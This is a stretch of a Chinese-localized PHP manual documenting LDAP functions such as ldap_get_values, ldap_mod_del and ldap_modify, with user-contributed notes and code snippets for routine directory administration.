bool ldap_get_option ( resource link_identifier, int option, mixed &retval )

Sets retval to the value of the specified option. 如果成功则返回 TRUE，失败则返回 FALSE。

The parameter option can be one of: LDAP_OPT_DEREF, LDAP_OPT_SIZELIMIT, LDAP_OPT_TIMELIMIT, LDAP_OPT_PROTOCOL_VERSION, LDAP_OPT_ERROR_NUMBER, LDAP_OPT_REFERRALS, LDAP_OPT_RESTART, LDAP_OPT_HOST_NAME, LDAP_OPT_ERROR_STRING, LDAP_OPT_MATCHED_DN. These are described in draft-ietf-ldapext-ldap-c-api-xx.txt

注: This function is only available when using OpenLDAP 2.x.x OR Netscape Directory SDK x.x, and was added in PHP 4.0.4

例子 1. Check protocol version

<?php
// $ds is a valid link identifier for a directory server
if (ldap_get_option($ds, LDAP_OPT_PROTOCOL_VERSION, $version)) {
    echo "Using protocol version $version\n";
} else {
    echo "Unable to determine protocol version\n";
}
?>

See also ldap_set_option().

add a note add a note User Contributed Notes
radovanr at NOSPAM dot zl dot cz
24-Jan-2002 09:27
It is good idea to say something about default values. What values are used, when they aren't set exactly using ldap_set_option?
add a note add a note

后退 | 起点 | 前进
ldap_get_entries | 上一级 | ldap_get_values_len


ldap_get_values_len

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

ldap_get_values_len -- Get all binary values from a result entry

Description

array ldap_get_values_len ( resource link_identifier, resource result_entry_identifier, string attribute )

Returns an array of values for the attribute on success and FALSE on error.

ldap_get_values_len() function is used to read all the values of the attribute in the entry in the result. entry is specified by the result_entry_identifier. The number of values can be found by indexing "count" in the resultant array. Individual values are accessed by integer index in the array. The first index is 0.

This function is used exactly like ldap_get_values() except that it handles binary data and not string data.

注: This function was added in 4.0.

add a note add a note User Contributed Notes
rcrow at NOSPAM dot laptv dot com
30-Apr-2004 08:06
If you are trying to access BINARY DATA, such as ObjectSID within LDAP, you must first get an individual entry, as stated under ldap_get_values() function -- "This call needs a result_entry_identifier, so needs to be preceded by one of the ldap search calls and one of the calls to get an individual entry."

The following code snippet will get the LDAP objectSID for a specific user.

<?php
/* Get the binary objectsid entry                                          */
/* Be sure that you have included the binary field in your ldap_search.    */
$criteria =  "samaccountname=$ldapUser";
$justthese = array("memberOf", "objectsid");

$ldapSearchResult = ldap_search($ldapConnectionResult, $ldapBase, $criteria, $justthese);

if (ldap_count_entries($ldapConnectionResult, $ldapSearchResult)){
     $ldapResults = ldap_get_entries($ldapConnectionResult, $ldapSearchResult);

   $entry = ldap_first_entry($ldapConnectionResult, $ldapSearchResult);
   $ldapBinary = ldap_get_values_len ($ldapConnectionResult, $entry, "objectsid");

/* your code here */

}
?>

You then can use something like bin2hex to put the data in a more usable form.
add a note add a note

后退 | 起点 | 前进
ldap_get_option | 上一级 | ldap_get_values


ldap_get_values

(PHP 3, PHP 4, PHP 5)

ldap_get_values -- Get all values from a result entry

Description

array ldap_get_values ( resource link_identifier, resource result_entry_identifier, string attribute )

Returns an array of values for the attribute on success and FALSE on error.

ldap_get_values() function is used to read all the values of the attribute in the entry in the result. entry is specified by the result_entry_identifier. The number of values can be found by indexing "count" in the resultant array. Individual values are accessed by integer index in the array. The first index is 0.

This call needs a result_entry_identifier, so needs to be preceded by one of the ldap search calls and one of the calls to get an individual entry.

You application will either be hard coded to look for certain attributes (such as "surname" or "mail") or you will have to use the ldap_get_attributes() call to work out what attributes exist for a given entry.

LDAP allows more than one entry for an attribute, so it can, for example, store a number of email addresses for one person's directory entry all labeled with the attribute "mail"

return_value["count"] = number of values for attribute
return_value[0] = first value of attribute
return_value[i] = ith value of attribute

例子 1. List all values of the "mail" attribute for a directory entry

<?php
// $ds is a valid link identifier for a directory server

// $sr is a valid search result from a prior call to
//     one of the ldap directory search calls

// $entry is a valid entry identifier from a prior call to
//        one of the calls that returns a directory entry

$values = ldap_get_values($ds, $entry, "mail");

echo $values["count"] . " email addresses for this entry.<br />";

for ($i=0; $i < $values["count"]; $i++) {
    echo $values[$i] . "<br />";
}
?>

add a note add a note User Contributed Notes
viper_sb at IGETTOMUCHSPAMhotmail dot com
25-Mar-2003 10:24
Well this took me a while to find the problem, so I'm posting in case someone else runs in to this.

$sr = ldap_search($ds, "cn=me", "(objectclass=*)");
$entry = ldap_first_entry($ds, $sr);
do {
  // do other stuff
  $sr = "something else now";
  $values = ldap_get_values($ds, $entry, "attirib1");
  // do other stuff
} while ($entry = ldap_next_entry($ds, $entry));

If you change the search resource $sr to something else even though it's not used again it will kill the page it'll be a blank page and if you view the code you'll get different things depending on something no idea what.

This kepted happening I had forgotten I had used $sr so I was using it again and it would just not show the page whenever I used ldap_get_values, if this is a feature it would be nice to know. I haven't seen it happen with other functions.
software at inebria dot com
22-Jun-2001 01:34
It wasn't immediately obvious to me that the ldap_get_values function does not work with binary data - only strings.  If you fetch binary data with ldap_get_values you don't get a warning - just some trash.  For binary data you have to use ldap_get_values_len.
add a note add a note

后退 | 起点 | 前进
ldap_get_values_len | 上一级 | ldap_list


ldap_list

(PHP 3, PHP 4, PHP 5)

ldap_list -- Single-level search

Description

resource ldap_list ( resource link_identifier, string base_dn, string filter [, array attributes [, int attrsonly [, int sizelimit [, int timelimit [, int deref]]]]] )

Returns a search result identifier or FALSE on error.

ldap_list() performs the search for a specified filter on the directory with the scope LDAP_SCOPE_ONELEVEL.

LDAP_SCOPE_ONELEVEL means that the search should only return information that is at the level immediately below the base_dn given in the call. (Equivalent to typing "ls" and getting a list of files and folders in the current working directory.)

This call takes 5 optional parameters. See ldap_search() notes.

注: These optional parameters were added in 4.0.2: attrsonly, sizelimit, timelimit, deref.

例子 1. Produce a list of all organizational units of an organization

// $ds is a valid link identifier for a directory server

$basedn = "o=My Company, c=US";
$justthese = array("ou");

$sr=ldap_list($ds, $basedn, "ou=*", $justthese);

$info = ldap_get_entries($ds, $sr);

for ($i=0; $i<$info["count"]; $i++) {
    echo $info[$i]["ou"][0] ;
}

注: From 4.0.5 on it's also possible to do parallel searches. See ldap_search() for details.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_get_values | 上一级 | ldap_mod_add


ldap_mod_add

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

ldap_mod_add -- Add attribute values to current attributes

Description

bool ldap_mod_add ( resource link_identifier, string dn, array entry )

如果成功则返回 TRUE，失败则返回 FALSE。

This function adds attribute(s) to the specified dn. It performs the modification at the attribute level as opposed to the object level. Object-level additions are done by the ldap_add() function.

注: 本函数可安全用于二进制对象。

add a note add a note User Contributed Notes
theiderich AT laweekly dot com
16-Jul-2005 06:17
When adding/editing attributes for a user, the 'memberof' attribute is a special case.  The memberOf attribute is not an accessible attribute of the user schema. To add someone to a group, you have to add the user in the group, and not the group in the user. You can do this by accessing the group attribute 'member':

<?php

$group_name = "CN=MyGroup,OU=Groups,DC=example,DC=com";
$group_info['member'] = $dn; // User's DN is added to group's 'member' array
ldap_mod_add($connect,$group_name,$group_info);

?>
Claudio Lente <nelchael at ig dot com dot br>
27-Feb-2003 06:03
Using PHP 4.2.3 with IIS 5 and Win2k Server. My confs are:

$ldap_srvr = 'servername' ;
$ldap_port = 389;
$ldap_con = ldap_connect($ldap_srvr, $ldap_port);
$ldap_rdn  = "username";
$ldap_pwd = "__password__";

$ldap_vbind = ldap_bind($ldap_con, $ldap_rdn, $ldap_pwd);

$base_dn= 'CN=username,CN=Users,DC=domain,DC=org,DC=us
' ;
$ldap_filter= 'objectClass=*';

$info['mail']='username@domain.org.us';

ldap_mod_add($ldap_con, $base_dn, $info);
ldap_add($ldap_con, $base_dn, $info);

this generate an error:
- Warning: LDAP: modify operation could not be completed. in

ldap_modify($ldap_con, $base_dn, $info);

this function corretly.

Its all.
JoshuaStarr at aelana dot com
31-Aug-2001 01:52
To add a new attribute with a single value:

$entry[mail] = "newmail@aelana.com";
$results = ldap_mod_add($ldapConnID, $dn, $entry);

To add a new attribute with multiple values:

$entry[mail][] = "newmail@aelana.com";
$entry[mail][] = "altnewmail@aelana.com";
$results = ldap_mod_add($ldapConnID, $dn, $entry);
add a note add a note

后退 | 起点 | 前进
ldap_list | 上一级 | ldap_mod_del


ldap_mod_del

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

ldap_mod_del -- Delete attribute values from current attributes

Description

bool ldap_mod_del ( resource link_identifier, string dn, array entry )

如果成功则返回 TRUE，失败则返回 FALSE。

This function removes attribute(s) from the specified dn. It performs the modification at the attribute level as opposed to the object level. Object-level deletions are done by the ldap_delete() function.

add a note add a note User Contributed Notes
06-Apr-2006 11:35
For anyone interested in removing a user from a group, you can use ldap_mod_del() as follows:

$group = 'CN=mygroup,OU=myOU,DC=mydomain,DC=com';

$group_info['member'] = 'CN=User\, Test,CN=Users,DC=mydomain,DC=com';

ldap_mod_del($ldap, $group, $group_info);

I have tested this using Active Directory on a Win 2K3 server.
thomas dot thiel at tapgmbh dot com
10-Dec-2002 12:42
and please don't forget:
you can't delete all attributes, when at least one is required.
JoshuaStarr at aelana dot com
14-May-2002 01:24
The above example has also been proven to work in the iPlanet / Sun One Directory Server 5.0/5.1. As an example:

$attrs["mail"] = array();
ldap_mod_del($ldapConnID,$dn,$attrs);

or

$attrs["mail"] = array();
$attrs["telephonenumber"] = array();
ldap_mod_del($ldapConnID,$dn,$attrs);

This will remove all occurences of attributes in the entry specified by the dn.
ral at royal dot net
30-Aug-2001 11:09
At least with OpenLDAP 1.2.x
to remove an attribute regardless of it's value you have to assign:

$attrs["AttributeName"]=array();

after ldap_mod_del($ds,$dn,$attrs)
all occurences of AttributeName will be removed
ral at royal dot net
23-Jul-2001 01:33
To remove all instances of an attribute:

$entry["attrname"][]="value1";
$entry["attrname"][]="value2";
...
$entry["attrname"][]="valueN";

ldap_mod_del($ds, $dn, $entry);
twopairs at solfy dot com
22-Jul-2001 08:05
<pre>
uid: testuser
mail: testuser@test.net
mail: testuser@somewhere.com
</pre>

How to remove the values of mail so that only the second value for mail exists:

<pre>
$entry["mail"] = "testuser@test.net";
$result = ldap_mod_del($connID, $dn, $entry);
</pre>

if you want to remove all instances of an attribute.....
==>
<pre>
$entry["mail"][0] = "testuser@test.net";
$entry["mail"][1] = "testuser@somewhere.net";
$result = ldap_mod_del($connID, $dn, $entry);
</pre>

are not?
sam_freund at yahoo dot com
06-Dec-2000 04:11
Using ldap_modify with a blank string works if you aren't propagating your LDAP database, even though it returns the error. Still, I'd say don't do it, as it smacks of something that will be fixed in a future version.
mark at cushman dot net
21-Nov-2000 01:17
I have found that the syntax:

$entry["mail"] = "";

Will NOT delete the mail attribute using the OpenLDAP server.  You must specify the attribute value to delete it successfully, otherwise you will recieve an "Invalid Syntax" error from the server.

The error: "Inappropriate Matching" will be displayed if the attribute you are trying to delete has no equality rule in the schema.  I had a problem deleting the attribute facsimilieTelephoneNumber, and it was because my core.schema file did not have an EQUALITY definition for that attribute.  I copied the telephoneNumber EQUALITY rule and it worked perfectly.
arjanw at bigfoot dot com
09-Aug-2000 02:15
To remove all instances of an attribute you can use ldap_modify with an empty value for that attribute.

$entry["mail"] = "";
$result = ldap_modify($connID, $dn, $entry);
arimus at apu dot edu
28-Apr-2000 10:35
<p>After a couple hours of searching and not finding anything on the ldap_mod_del function worth anything, I started trying to figure out myself what format the "array entry" parameter needed to be in.  Here is what I found:</p>

<p>The entry array is a hash with the attribute name as the hash key and the specific value you want deleted for that attribute as the corresponding hash value.</p>

<p><b>Example</b></p>

<p>Current values for the attributes of of a particular entry:</p>

<pre>
     uid: testuser
     mail: testuser@test.net
     mail: testuser@somewhere.com
</pre>

<p>How to remove the first value of mail so that only the second value for mail exists:</p>

<pre>
     $entry["mail"] = "testuser@test.net";
     $result = ldap_mod_del($connID, $dn, $entry);
</pre>
<br>
<p>So if you want to remove all instances of an attribute, you have to do it one by one.</p>
add a note add a note

后退 | 起点 | 前进
ldap_mod_add | 上一级 | ldap_mod_replace


ldap_mod_replace

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

ldap_mod_replace -- Replace attribute values with new ones

Description

bool ldap_mod_replace ( resource link_identifier, string dn, array entry )

如果成功则返回 TRUE，失败则返回 FALSE。

This function replaces attribute(s) from the specified dn. It performs the modification at the attribute level as opposed to the object level. Object-level modifications are done by the ldap_modify() function.

注: 本函数可安全用于二进制对象。

add a note add a note User Contributed Notes
frederic dot jacquot at insa-lyon dot fr
09-Jun-2004 07:26
Changing a user password in Active Directory.
Securely connect (using ldaps) to the Active Directory and bind using an administrator account.

In this example, $userDn contains the dn of the user I want to modify, and $ad is the Active Directory ldaps connection)

$newPassword = "MyPassword";
$newPassword = "\"" . $newPassword . "\"";
$len = strlen($newPassword);
for ($i = 0; $i < $len; $i++)
       $newPassw .= "{$newPassword{$i}}\000";
$newPassword = $newPassw;
$userdata["unicodepwd"] = $newPassword;
$result = ldap_mod_replace($ad, $userDn, $userdata);
if ($result) echo "User modified!" ;
else echo "There was a problem!";

I found it hard to get a proper encoding for the unicodepwd attribute so this piece of code might help you ;-)
19-Jul-2002 02:32
Sometime,we cannot replace ldap_mod_replace  function  with ldap_mod_del function and ldap_mod_add fuction .We  don't have permission to delete an attribute but  we can replace it.
ondrej at sury dot cz
26-Feb-2002 09:31
in openldap 2.0.x you can use method with mod_del/mod_add only if the attribute have defined EQUALITY rule.
JoshuaStarr at aelana dot com
31-Aug-2001 02:28
To modify an attribute with a single value:
  $entry[mail] = "newmail@aelana.com";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);

To modify an attribute with multiple values:
  $entry[mail][] = "newmail@aelana.com";
  $entry[mail][] = "altnewmail@aelana.com";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);

To modify multiple attributes
  $entry[mail][] = "newmail@aelana.com";
  $entry[mail][] = "altnewmail@aelana.com";
  $entry[c]      = "US";
  $results = ldap_mod_add($ldapConnID,$dn, $entry);
oyvindmo at initio dot no
30-Nov-2000 08:57
ldap_mod_replace() and ldap_modify() are _exactly_ the same.  So, the comment that ldap_mod_replace() "performs the modification at the attribute level as opposed to the object level", has no root in reality.
yife at myrice-ltd dot com
16-Nov-2000 05:57
if i want to replace the special attribute but i don't replace other attribute ,i just use "ldap_mod_del" and "ldap_mod_add" ,the function seems to that
add a note add a note

后退 | 起点 | 前进
ldap_mod_del | 上一级 | ldap_modify


ldap_modify

(PHP 3, PHP 4, PHP 5)

ldap_modify -- Modify an LDAP entry

Description

bool ldap_modify ( resource link_identifier, string dn, array entry )

如果成功则返回 TRUE，失败则返回 FALSE。

ldap_modify() function is used to modify the existing entries in the LDAP directory. The structure of the entry is same as in ldap_add().

注: 本函数可安全用于二进制对象。

add a note add a note User Contributed Notes
docwoelle at ipwatch dot de
12-Apr-2006 04:44
If you want to disable an account in an Active Directory of Windows,
you may try this (it works for me in a Win2k environment):

(foo.bar should be replaced in "$ldapBase" to the correct
 domain, e.g. "DC=phpfreackx,DC=com" if your domain is phpfreackx.com)

domctrl = domain controller
domadlogin = domain admin login
domadpw = domain admin password
username = loginname of useraccount (e.g. "john.doe")
enable =1 (if you want to enable it, 0 if it should be disabled)

<?php
function userchange($username,$enable=1,$domadlogin,$domadpw,$domctrl)
{
$ldapServer = $domctrl;
$ldapBase = 'DC=foo,DC=bar';
$ds = ldap_connect($ldapServer);
if (!$ds) {die('Cannot Connect to LDAP server');}
$ldapBind = ldap_bind($ds,$domadlogin,$domadpw);
if (!$ldapBind) {die('Cannot Bind to LDAP server');}
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
$sr = ldap_search($ds, $ldapBase, "(samaccountname=$username)");
$ent= ldap_get_entries($ds,$sr);
$dn=$ent[0]["dn"];
// Deactivate
$ac = $ent[0]["useraccountcontrol"][0];
$disable=($ac |  2); // set all bits plus bit 1 (=dec2)
$enable =($ac & ~2); // set all bits minus bit 1 (=dec2)
$userdata=array();
if ($enable==1) $new=$enable; else $new=$disable; //enable or disable?
$userdata["useraccountcontrol"][0]=$new;
ldap_modify($ds, $dn, $userdata); //change state
$sr = ldap_search($ds, $ldapBase, "(samaccountname=$username)");
$ent= ldap_get_entries($ds,$sr);
$ac = $ent[0]["useraccountcontrol"][0];
if (($ac & 2)==2) $status=0; else $status=1;
ldap_close($ds);
return $status; //return current status (1=enabled, 0=disabled)
}

// use this to disable an account:
// userchange('john.doe@foo.bar',0,'admin@foo.bar', 'secret','domctrl.foo.bar');
// ..but this to enable it:
// userchange('john.doe@foo.bar',1,'admin@foo.bar', 'secret','domctrl.foo.bar');
?>
jmw1982 at gmail dot com
29-Nov-2005 06:03
If you're writing a multiple values for an attribute with ldap_modify (), the function will attempt to write all entries in the value array even if those entries are blank.  Setting blank entries to a blank array in the manner used for attribute deletion, ie:

$attributes[$attr_name][3] = array ();

results in the string "Array" being written to the directory for that value.  The only way I was able to find to do what I wanted - only write the values for the attribute that were submitted on the form - was to check if each attribute had multiple values and unset () blank values, eg:

               foreach ($attributes as $key => $cur_val) {
                       if ($cur_val== '') {
                               $attributes[$key] = array ();
                       }
                       if (is_array ($cur_val)) {
                               foreach ($cur_val as $mv_key => $mv_cur_val) {

                                       if ($mv_cur_val == '') {
                                               unset ($attributes[$key][$mv_key]);
                                       }
                                       else {
                                               $attributes[$key][$mv_key] = $mv_cur_val;
                                       }
                               }
                       }
               }
chris at uffbasse dot de
15-Jun-2004 12:57
To pinpoint the delete issue:

with newer OpenLdap versions this will fail:

$values["mail"] = "";
ldap_modify($conn_id, $dn, $values);

or
$values["mail"][0] = "";
ldap_modify($conn_id, $dn, $values);

BUT this works:

$values["mail"] = array();
ldap_modify($conn_id, $dn, $values);

or
$values["mail"][0] = array();
ldap_modify($conn_id, $dn, $values);
ace at suares dot nl
08-Dec-2003 11:41
Some comments on ldap_modify, and especially the user comment from tengel at fluid dot com

OpenLDAP 2.1.22
If an attribute is tagged as MUST in the schema, the attribute must be there. Wheter it may contain and empty value depends on the SYNTAX for that attribute.

DirectoryString MAY NOT be empty; OctetString MAY be empty. As far as I can see, IA5String MAY NOT be empty.

If an attribute is defined as MAY in the schema, the attribute may or may not be there. If it is there, it MAY or MAY NOT be empty, depending on its SYNTAX.

PHP 4.3.1

It seems that ldap_modify() will take an array of attributes to modify.

For multivalued attributes, passing an empty array, wil DELETE the attribute, regardless of it's previous value(s), and regardless if the attribute was there before the modify.

If the multivalued attribute is defined as MAY, this will work. If the attribute is defined as MUST, OpenLDAP will generate the error: 'LDAP error 65: Object class violation'

If an attribute's SYNTAX defines that it MAY NOT be empty, trying to add or modify the attribute with an empty value will genereate the error: 'LDAP error 21: Invalid syntax'.
Also, in the logfile, if set with sufficient debuglevel, the string

   value #0 invalid per syntax

will be present.

Trying to pass an empty array to ldap_add() for a any attribute (multi or single valued) will result in the error 'LDAP error 2: Protocol error', regardless if the attribute is defined as MUST or MAY.

Note that this differs form passing an array with elements that have no value. In the latter case, it depends on the SYNTAX for that attribute if that is allowed.

If the attribute is single-valued, passing an array with one element, WILL change the value of the attribute. In the user comments on php.net it is suggested that if you want to modify a single valued attribute, you must pass a string, not an array with one element. My experience is that an array with a single element will work just as well.

_Ace

website: http://www.suares.nl * http://www.qwikzite.nl
fechner at ponton dot de
23-Oct-2003 03:32
If you are trying to change the userPassword attribute when using md5 hashes, try the following lines:

$new["userPassword"] = '{md5}' . base64_encode(pack('H*', md5($newpass_in_plaintext)));
ldap_modify($ds, $dn, $new);
davidsmith at byuNOSPAM dot edu
13-Jul-2003 08:52
The $entry parameter can be an array of values for an attribute. Just be careful that your array's indices are numerically contiguous. For example, when using this $entry array, ldap_modify will fail with little explanation:

   $entry = array( 0 => 'foo', 2 => 'bar' );

While this one will work just fine:

   $entry = array( 0 => 'foo', 1 => 'bar' );

Hope this helps someone out.
jpdalbec at ysu dot edu
14-Jun-2003 06:13
Nick T.'s comment above is out of date.
The PHP LDAP interface currently supports direct modification of the DN using the ldap_rename() function.
goetz at rvs dot uni-hannover dot de
27-Mar-2003 11:22
Remember that you can NOT modify the attribute 'objectclass' with ldap_modify!

If you use a search result as basis for your changes, be sure to 'unset()' all numbered indices, 'count' indicies AND index 'objectclass' !
NOSPAMjjhuff at mspin dot net
13-Aug-2002 11:50
To delete entries:

$data["description"] = array();
ldap_modify($conn, $dn,$data);
tengel at fluid dot com
22-Mar-2001 10:57
The behaviour of OpenLDAP from 1.x to 2.x changed; in 1.x, when you passed ldap_modify the array, if the value was empty that attribute would be deleted.  In 2.x, you get an "Invalid Syntax" error and the modify fails.

This requires the ldap_mod_del function; unfortunately, that operation requires the attribute to be deleted have it's *old* value specified -- as you can imagine, if you're taking input from a CGI form, the attribute to be deleted's value is now missing (i.e., the user blanked out that textbox in the form and clicked Submit).

So, you're in a bit of a conundrum -- you want to delete "empty" form values, but you need their old value to delete them.  There are many ways to handle this, but I chose this approach:

// The first is what to add, the second to remove
$entry=array();
$delval=array();

// Imagine if you will, $o and $title are
// form fields with text boxes for data
if($o!="") { $entry["o"]="$o"; } else { $delval[]="o"; }
if($title!="") { $entry["title"]="$title"; } else { $delval[]="title"; }

// First try the normal modify with $entry
// $ldap, $dn, $BASEDN are all set up earlier
if (@ldap_modify($ldap, $dn, $entry)) {
  // then do the dirty work
  $filter = sprintf("(&(uid=%s)(sn=%s))",$uid,$sn);
  $sres = ldap_search($ldap, $BASEDN, $filter, $delval);
  $delent = ldap_first_entry($ldap, $sres);
  $delarr = ldap_get_attributes($ldap, $delent);
  $findel=array();
  for($i=0; $i<$delarr["count"]; $i++) {
   $attr = $delarr[$i];
   $totl = $delarr[$attr]["count"];
   for($z=0; $z<$totl; $z++) {
     if ($totl = 1) {
       $findel[$attr]=$delarr[$attr][$z];
     } else {
       $findel[$attr][$z]=$delarr[$attr][$z];
     }
   }
  }
  if(@ldap_mod_del($ldap, $dn, $findel)) {
   print("<H3>Modified Entry!</H3>\n");
   print("<BR>\n");
  } else {
   $error=ldap_error($ldap);
   print("<H3>Attribute Delete Failed!</H3>\n");
   print("<BR>\n($error)\n");
  }
} else {
  $error=ldap_error($ldap);
  print("<H3>Modify Failed!</H3>\n");
  print("<BR>\n($error)\n");
}
nickt at powys dot gov dot uk
23-Apr-1999 08:23
Modifying existing LDAP information using ldap_modify()

The link_identifier must result from a call to connect to the server with authority to update entries, usually requiring an authenticated bind - ie you provide a suitable dn and password in the ldap_bind() call.
<p>
The  dn  must be a single specific dn that exists on the LDAP server.  There is no wildcard mechanism in LDAP to globally change multiple dn entries.
<p>
The entry array must be in one of two different forms, according to whether just one entry is to be stored in the directory for a particular attribute, or whether multiple entries are to be stored for the attribute.
<p>

Where a single entry is to be stored for an attribute - say just a single email address - then you use the general form

             $newinfo[ <attribute_name> ]="whatever" ;

for example ...

             $newinfo["mail"]="john@myorg.com" ;

Where multiple entries are to be stored for an attribute  -  say a number of email addresses for one person  -  then you use the general form

             $newinfo[ <attribute_name> ][0] = "whatever" ;
             $newinfo[ <attribute_name> ][1] = "another" ;

for example ...

             $newinfo["mail"][0]="johnw@myorg.com" ;
             $newinfo["mail"][1]="jwaterson@somewhere.org" ;

Further notes on ldap_modify()

The modify call leaves entries for all other attributes unaltered.  So if you just want to update the entry for the "mail" attribute, then all that is required is:

     $newinfo[mail]="nick@county.gov.uk";
     ldap_modify($valid_ldaplink, $valid_dn, $newinfo);

However, if there were multiple entries for the mail attribute present on the LDAP database when you run the above code, then all the existing mail entries would be deleted and be replaced by the single "mail" entry.
<p>
If you have reason to expect multiple values for a particular attribute (more that one email entry, for example) you should make sure you read all the entries from the ldap server first, and then save a modified array.
<p>
The PHP LDAP interface does not currently support direct modification of the dn.  If the dn needs changing, the only option is to read all entries for the dn and save these to a new, modified, dn before deleting the complete entry for the original dn.
add a note add a note

后退 | 起点 | 前进
ldap_mod_replace | 上一级 | ldap_next_attribute


ldap_next_attribute

(PHP 3, PHP 4, PHP 5)

ldap_next_attribute -- Get the next attribute in result

Description

string ldap_next_attribute ( resource link_identifier, resource result_entry_identifier, resource &ber_identifier )

Returns the next attribute in an entry on success and FALSE on error.

ldap_next_attribute() is called to retrieve the attributes in an entry. The internal state of the pointer is maintained by the ber_identifier. It is passed by reference to the function. The first call to ldap_next_attribute() is made with the result_entry_identifier returned from ldap_first_attribute().

See also ldap_get_attributes()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_modify | 上一级 | ldap_next_entry


ldap_next_entry

(PHP 3, PHP 4, PHP 5)

ldap_next_entry -- Get next result entry

Description

resource ldap_next_entry ( resource link_identifier, resource result_entry_identifier )

Returns entry identifier for the next entry in the result whose entries are being read starting with ldap_first_entry(). If there are no more entries in the result then it returns FALSE.

ldap_next_entry() function is used to retrieve the entries stored in the result. Successive calls to the ldap_next_entry() return entries one by one till there are no more entries. The first call to ldap_next_entry() is made after the call to ldap_first_entry() with the result_entry_identifier as returned from the ldap_first_entry().

See also ldap_get_entries()

add a note add a note User Contributed Notes
m dot kooijman at student dot utwente dot nl
08-Jan-2006 08:43
The code listed below (posted by jeff) to print all attributes with their values is wrong. It keeps trying to index the $entry variable, which is a resource identifier, not an array. All the required information is in the return value of ldap_get_attributes, $attrs.
So:

$entry = ldap_next_entry($conn,$first_entry);
$attrs = ldap_get_attributes($conn,$entry);
for ($i=0; $i < $attrs["count"]; $i++) {
   $attr_name = $attrs[$i];
   for ($j=0; $j < $attrs[$attr_name]["count"]; $j++) {
     echo "$attr_name: ".$attrs["$attr_name"][$j]."\n";
   }
}
jeff at kinkaid dot org
12-Jun-2003 08:24
dahoo,

Your code to list the attributes of an entry isn't as complete as it could be--just listing the $result["attr"][0] value won't handle multiple-valued attributes. Instead, you should have something like:

$entry = ldap_next_entry($conn,$first_entry);
$attrs = ldap_get_attributes($conn,$entry);
for ($i=0; $i < $entry["count"]; $i++) {
   $attr_name = $entry[$i];
   for ($j=0; $j < $entry[$attr_name]["count"]; $j++) {
     echo "$attr_name: ".$entry["$attr_name"][$j]."\n";
   }
}

This enables you to get listings like:

dn: cn=admin,ou=Groups
cn: admin
objectClass: posixGroup
gidNumber: 500
memberUid: 604
memberUid: 605

(note the two values for "memberUid")

I hope this helps someone.

-Jeff
dahoo at lvye dot org
29-Nov-2002 12:19
An example :

for($i=ldap_first_entr($connect,$result);
   $arr=ldap_get_attributes($connect,$i);
   $i=ldap_next_entry($connect,$i))
{
   foreach ($arr as $k => $v)
             {
       $myrow[$k]=$arr[$k][0];
   }
}
snameche at virtual-net dot fr
30-May-2002 02:18
A short example :

$qry = ldap_search( $cxion, $ldap_base, '(cn=seb*)' );

$entry = ldap_first_entry( $cxion, $qry );
while( $entry ){
 $dn = ldap_get_dn( $cxion, $entry );
 echo "<b>$dn</b><br>\n";
 $attrs = ldap_get_attributes( $cxion, $entry );
 for( $i=0; $i<$attrs['count']; $i++ ){
  echo "$attrs[$i]: ";
  for( $j=0; $j<$attrs[$attrs[$i]]['count']; $j++ )
   echo $attrs[$attrs[$i]][$j] . " ";
  echo "<br>\n";
 }
 echo "\<br>\n";
 $entry = ldap_next_entry( $cxion, $entry );
}

ldap_free_result( $qry );
add a note add a note

后退 | 起点 | 前进
ldap_next_attribute | 上一级 | ldap_next_reference


ldap_next_reference

(PHP 4 >= 4.0.5, PHP 5)

ldap_next_reference -- Get next reference

Description

resource ldap_next_reference ( resource link, resource entry )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_next_entry | 上一级 | ldap_parse_reference


ldap_parse_reference

(PHP 4 >= 4.0.5, PHP 5)

ldap_parse_reference -- Extract information from reference entry

Description

bool ldap_parse_reference ( resource link, resource entry, array &referrals )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_next_reference | 上一级 | ldap_parse_result


ldap_parse_result

(PHP 4 >= 4.0.5, PHP 5)

ldap_parse_result -- Extract information from result

Description

bool ldap_parse_result ( resource link, resource result, int &errcode [, string &matcheddn [, string &errmsg [, array &referrals]]] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ldap_parse_reference | 上一级 | ldap_read


ldap_read

(PHP 3, PHP 4, PHP 5)

ldap_read -- Read an entry

Description

resource ldap_read ( resource link_identifier, string base_dn, string filter [, array attributes [, int attrsonly [, int sizelimit [, int timelimit [, int deref]]]]] )

Returns a search result identifier or FALSE on error.

ldap_read() performs the search for a specified filter on the directory with the scope LDAP_SCOPE_BASE. So it is equivalent to reading an entry from the directory.

An empty filter is not allowed. If you want to retrieve absolutely all information for this entry, use a filter of "objectClass=*". If you know which entry types are used on the directory server, you might use an appropriate filter such as "objectClass=inetOrgPerson".

This call takes 5 optional parameters. See ldap_search() notes.

注: These optional parameters were added in 4.0.2: attrsonly, sizelimit, timelimit, deref.

From 4.0.5 on it's also possible to do parallel searches. See ldap_search() for details.

add a note add a note User Contributed Notes
cnicholl at yahoo dot com
22-Dec-2005 03:21
Clarification of the ldap_read command syntax:

If you just want to pull certain attributes from an object and you already know it's dn, the ldap_read command can do this as illustrated below.  It will be less overhead than ldap_search.

The string base_dn which is normally used to set the top context for a recursive ldap_search is used slightly differently with this command.  It is used to specify the actual object with the full dn.  (Hopefully this saves someone else a couple hours trying this command out.)

<?php
$ds = ldap.myserver.com // your ldap server
  $dn = "cn=username,o=My Company, c=US"; //the object itself instead of the top search level as in ldap_search
  $filter="(objectclass=*)"; // this command requires some filter
  $justthese = array("ou", "sn", "givenname", "mail"); //the attributes to pull, which is much more efficient than pulling all attributes if you don't do this
     $sr=ldap_read($ds, $dn, $filter, $justthese);
         $entry = ldap_get_entries($ds, $sr);

echo $entry[0]["mail"][0] . "is the email address of the cn your requested";
echo $entry[0]["sn"][0] . "is the sn of the cn your requested";
ldap_close($ds);
?>

